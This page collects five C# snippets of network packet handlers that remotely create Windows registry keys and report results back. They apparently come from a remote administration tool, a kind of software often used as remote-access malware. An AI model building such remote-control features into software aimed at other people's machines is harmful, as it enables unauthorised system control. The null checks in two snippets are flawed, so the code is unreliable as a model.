public static void HandleCreateRegistryKey(DoCreateRegistryKey packet, Networking.Client client)
        {
            GetCreateRegistryKeyResponse responsePacket = new GetCreateRegistryKeyResponse();
            string errorMsg;
            string newKeyName = "";

            try
            {
                responsePacket.IsError = !(RegistryEditor.CreateRegistryKey(packet.ParentPath, out newKeyName, out errorMsg));
            }
            catch (Exception ex)
            {
                responsePacket.IsError = true;
                errorMsg = ex.Message;
            }

            responsePacket.ErrorMsg = errorMsg;
            responsePacket.Match    = new RegSeekerMatch
            {
                Key        = newKeyName,
                Data       = RegistryKeyHelper.GetDefaultValues(),
                HasSubKeys = false
            };
            responsePacket.ParentPath = packet.ParentPath;

            client.Send(responsePacket);
        }
Exemplo n.º 2
0
        private void Execute(ISender client, DoCreateRegistryKey message)
        {
            GetCreateRegistryKeyResponse responsePacket = new GetCreateRegistryKeyResponse();
            string errorMsg;
            string newKeyName = "";

            try
            {
                responsePacket.IsError = !(RegistryEditor.CreateRegistryKey(message.ParentPath, out newKeyName, out errorMsg));
            }
            catch (Exception ex)
            {
                responsePacket.IsError = true;
                errorMsg = ex.Message;
            }

            responsePacket.ErrorMsg = errorMsg;
            responsePacket.Match    = new RegSeekerMatch
            {
                Key        = newKeyName,
                Data       = RegistryKeyHelper.GetDefaultValues(),
                HasSubKeys = false
            };
            responsePacket.ParentPath = message.ParentPath;

            client.Send(responsePacket);
        }
Exemplo n.º 3
0
 private void Execute(ISender client, GetCreateRegistryKeyResponse message)
 {
     if (!message.IsError)
     {
         OnKeyCreated(message.ParentPath, message.Match);
     }
     else
     {
         OnReport(message.ErrorMsg);
     }
 }
Exemplo n.º 4
0
 public static void HandleCreateRegistryKey(GetCreateRegistryKeyResponse packet, Client client)
 {
     try
     {
         // Make sure that the client is in the correct state to handle the packet appropriately.
         if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing)
         {
             if (!packet.IsError)
             {
                 client.Value.FrmRe.CreateNewKey(packet.ParentPath, packet.Match);
             }
             else
             {
                 client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg);
             }
         }
     }
     catch { }
 }
Exemplo n.º 5
0
 public static void HandleCreateRegistryKey(GetCreateRegistryKeyResponse packet, Client client)
 {
     try
     {
         if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed ||
             !client.Value.FrmRe.Disposing)
         {
             if (!packet.IsError)
             {
                 client.Value.FrmRe.AddKeyToTree(packet.ParentPath, packet.Match);
             }
             else
             {
                 client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg);
             }
         }
     }
     catch
     {
     }
 }